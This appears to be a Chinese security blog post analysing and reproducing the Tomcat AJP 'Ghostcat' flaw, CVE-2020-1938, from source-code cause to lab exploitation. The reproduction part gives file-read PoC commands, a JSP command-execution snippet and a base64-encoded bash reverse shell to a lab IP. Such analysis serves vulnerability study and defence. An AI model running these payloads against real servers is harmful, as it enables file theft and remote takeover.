freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

JAVA安全之CVE-2020-1938复现和分析
2023-02-04 15:41:39
所属地 山西省

一、漏洞简介

Apache Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器.默认情况下,Apache Tomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议进行交互.但Apache Tomcat在AJP协议的实现上存在漏洞,导致攻击者可以通过发送恶意的AJP请求,可以读取或者包含Web应用根目录下的任意文件,如果配合文件上传任意格式文件,将可能导致任意代码执行(RCE).该漏洞利用AJP服务端口实现攻击,未开启AJP服务对外不受漏洞影响(tomcat默认将AJP服务开启并绑定至0.0.0.0/0).

1、危险等级

高危

2、漏洞危害

攻击者可以读取 Tomcat所有 webapp目录下的任意文件。此外如果网站应用提供文件上传的功能,攻击者可以先向服务端上传一个内容含有恶意 JSP 脚本代码的文件(上传的文件本身可以是任意类型的文件,比如图片、纯文本文件等),然后利用 Ghostcat 漏洞进行文件包含,从而达到代码执行的危害

3、影响范围

Apache Tomcat 9.x < 9.0.31

Apache Tomcat 8.x < 8.5.51

Apache Tomcat 7.x < 7.0.100

Apache Tomcat 6.x

4、前提条件

对于处在漏洞影响版本范围内的 Tomcat 而言,若其开启 AJP Connector 且攻击者能够访问 AJP Connector 服务端口的情况下,即存在被 Ghostcat 漏洞利用的风险。注意 Tomcat AJP Connector 默认配置下即为开启状态,且监听在 0.0.0.0:8009 。

5、漏洞原理

Tomcat 配置了两个Connecto,它们分别是 HTTP 和 AJP :HTTP默认端口为8080,处理http请求,而AJP默认端口8009,用于处理 AJP 协议的请求,而AJP比http更加优化,多用于反向、集群等,漏洞由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件以及可以包含任意文件,如果有某上传点,上传图片马等等,即可以获取shel

二、漏洞分析

1.漏洞成因分析:

tomcat默认的conf/server.xml中配置了2个Connector,一个为8080的对外提供的HTTP协议端口,另外一个就是默认的8009 AJP协议端口,两个端口默认均监听在外网ip。

1675495543_63de08772101844913e5e.png!small?1675495544151tomcat在接收ajp请求的时候调用org.apache.coyote.ajp.AjpProcessor来处理ajp消息,prepareRequest将ajp里面的内容取出来设置成request对象的Attribute属性

如下图:

在代码的507行

1675495559_63de08879ca54c609ec68.png!small?1675495560408

可以通过此种特性从而可以控制request对象的下面三个Attribute属性

javax.servlet.include.request_uri

javax.servlet.include.path_info

javax.servlet.include.servlet_path

然后封装成对应的request之后,继续走servlet的映射流程如下图所示:

接着看第252行。

1675495573_63de089571223e3e999ff.png!small?1675495574253

2.利用方式:

(1)利用DefaultServlet实现任意文件下载

当url请求未在映射的url列表里面则会通过tomcat默认的DefaultServlet会根据上面的三个属性来读取文件,如下图

1675495587_63de08a347a1f80fde8f9.png!small?1675495588119

通过serveResource方法来获取资源文件

1675495602_63de08b2a1e8902ba22be.png!small?1675495603550

通过getRelativePath来获取资源文件路径

1675495610_63de08ba9c5c04a14b2fd.png!small?1675495611496

然后再通过控制ajp控制的上述三个属性来读取文件,通过操控上述三个属性从而可以读取到/WEB-INF下面的所有敏感文件,不限于class、xml、jar等文件。

(2)通过jspservlet实现任意后缀文件包含

当url(比如http://xxx/xxx/xxx.jsp)请求映射在org.apache.jasper.servlet.JspServlet这个servlet的时候也可通过上述三个属性来控制访问的jsp文件如下图:

1675495622_63de08c6df6d67f1aad40.png!small?1675495623843

控制路径之后就可以以jsp解析该文件 所以只需要一个可控文件内容的文件即可实现rce.

代码段分析1:

tomcat默认监听的8009端口用来处理AJP协议。AJP协议建立在TCP socket通信之上,tomcat使用该协议和前级的Web Server传递信息,这次的漏洞就出在客户端可以利用ajp协议数据包控制request对象的一些字段。

具体地,tomcat源码的org.apache.coyote.ajp.AjpProcessor类的service()方法如下:

1675495661_63de08ed1f79548730fd3.png!small?1675495661937

它调用的prepareRequest()方法用来解析一些请求头,部分内容如下:

1675495672_63de08f8d247fc34a7a02.png!small?1675495673781

可以看到,当ajp数据包的头设置为SC_REQ_ATTRIBUTE时(具体数值可以查询AJP协议规范),Connector会紧接着读取变量n(属性名)和v(值),当n不是SC_A_REQ_LOCAL_ADDR、SC_A_REQ_REMOTE_PORT、SC_A_SSL_PROTOCOL时,就会用v来赋值属性n。接着,service()方法将修改过的request代入后面的调用。

1675495683_63de09031ab64c0dbb5ef.png!small?1675495683885

=在org.apache.catalina.servlets.DefaultServlet中,当我们的请求声明的是GET方法时,存在调用service()->doGet()->serveResource(),分析serveResource()代码如下:

1675495698_63de09129249aeacc1aca.png!small?1675495699386

其调用的getRelativePath()方法内容如下:

protected String getRelativePath(HttpServletRequest request, boolean allowEmptyPath) {
    String servletPath;
    String pathInfo;

    if (request.getAttribute(RequestDispatcher.INCLUDE_REQUEST_URI) != null) {
        pathInfo = (String) request.getAttribute(RequestDispatcher.INCLUDE_PATH_INFO);
        servletPath = (String) request.getAttribute(RequestDispatcher.INCLUDE_SERVLET_PATH);
    } else{
        ......
    }
    StringBuilder result = new StringBuilder();
    if (servletPath.length() > 0) {
        result.append(servletPath);
    }
    if (pathInfo != null) {
        result.append(pathInfo);
    }
    ......
    return result.toString();
}

从javax.servlet.RequestDispatcher中可以看到这三个属性的名称:

1675495711_63de091f1efb2e76204d9.png!small?1675495711880

所以,我们就能通过AJP协议改变request的这三个属性来控制请求的路径,serveResource()方法获得path后的代码大致如下:

1675495718_63de0926162c5f84f2e04.png!small?1675495718865

它会直接把通过path获取的资源序列化输出,因此客户端再按照AJP协议解析数据包就能得到文件内容。

代码段分析2:

同样的道理,tomcat默认将jsp/jspx结尾的请求交给org.apache.jasper.servlet.JspServlet处理,它的service()方法如下:

1675495729_63de0931a4dcbf9fe88e6.png!small?1675495730481

可以看到jspUri也是由两个可控的属性定义的,后续代码:

1675495738_63de093a107a3b1086c65.png!small?1675495738872

代码在这里根据jspUri生成了一个JspServletWrapper,它会调用service()方法完成jsp代码的编译,将其转换成一个servlet。该servlet最终会以.java文件的形式写入%CATALINA_HOME%/work/Engine/Host/Context目录下:

1675495748_63de0944acf1e776d553f.png!small?1675495749525

经过上述调用,这就形成了文件包含漏洞。当Web应用上有某个文件内容可被我们控制时,就可以造成rce漏洞。

三、漏洞复现

1.环境的准备

(1)windows下漏洞复现环境准备,这里以tomcat-8.5.32为例。

https://github.com/backlion/CVE-2020-1938/blob/master/apache-tomcat-8.5.32.zip

(2)安装jdk并配置JDK环境

(3)然后启动tomcat,点击tomcat目录/bin 文件夹下的startup.bat

1675495756_63de094c6b7d3c0d8f7ff.png!small?1675495757384

root@kali2019:~# git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi root@kali2019:~# cd CNVD-2020-10487-Tomcat-Ajp-lfi/ root@kali2019:~/CNVD-2020-10487-Tomcat-Ajp-lfi# chmod +x CNVD-2020-10487-Tomcat-Ajp-lfi.py root@kali2019:~/CNVD-2020-10487-Tomcat-Ajp-lfi#

python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.9 -p 8009 -f WEB-INF/web.xm

读取文件

读取web-inf/web.xm文件

python CNVD-2020-10487-Tomcat-Ajp-lfi.py 10.10.10.134 -p 8009 -f WEB-INF/web.xml

1675495766_63de09564a4e59bbdf05e.png!small?1675495767222python CNVD-2020-10487-Tomcat-Ajp-lfi.py 10.10.10.134 -p 8009 -f index.jsp

1675495788_63de096cc1e32543a10f5.png!small?1675495789626

命令执行

执行whoami命令

python "文件包含(CVE-2020-1938).py" 10.10.10.134 -p 8009 -f /test.txt

1675495796_63de09748fda46c49e82e.png!small?1675495797357

ping dnslog

<%
	java.io.InputStream in = Runtime.getRuntime().exec("ping fiohed.dnslog.cn").getInputStream();
	int a = -1;
	byte[] b = new byte[2048];
	out.print("<pre>");
	while((a=in.read(b))!=-1){
		out.println(new String(b));
	}
	out.print("</pre>");
%>

1675495805_63de097d3a6a076325719.png!small?1675495806076

1675495810_63de098233ee70af149cc.png!small?1675495811126

反弹shell

  • 反弹shell用的命令需要进行bash编码
  • 在线bash编码:http://www.jackson-t.ca/runtime-exec-payloads.html
  • https://ares-x.com/tools/runtime-exec/
  • POC下载地址:https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read
<%
	java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNC41LzE4ODg4IDA+JjE=}|{base64,-d}|{bash,-i}").getInputStream();
	int a = -1;
	byte[] b = new byte[2048];
	out.print("<pre>");
	while((a=in.read(b))!=-1){
		out.println(new String(b));
	}
	out.print("</pre>");
%>

1675495817_63de0989e385160cf4f3b.png!small?1675495818705

在反弹shell的过程中,我尝试多次之后失败了。就放了一张米斯特斯文师傅的一张成功的图片。

1675495842_63de09a2ce9004ba442c1.png!small?1675495843853

REF

https://www.cnblogs.com/backlion/p/12870365.html

https://xz.aliyun.com/t/7325

https://www.svenbeast.com/post/fqSI9laE8/

# 渗透测试 # web安全 # 数据安全 # 漏洞分析 # 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录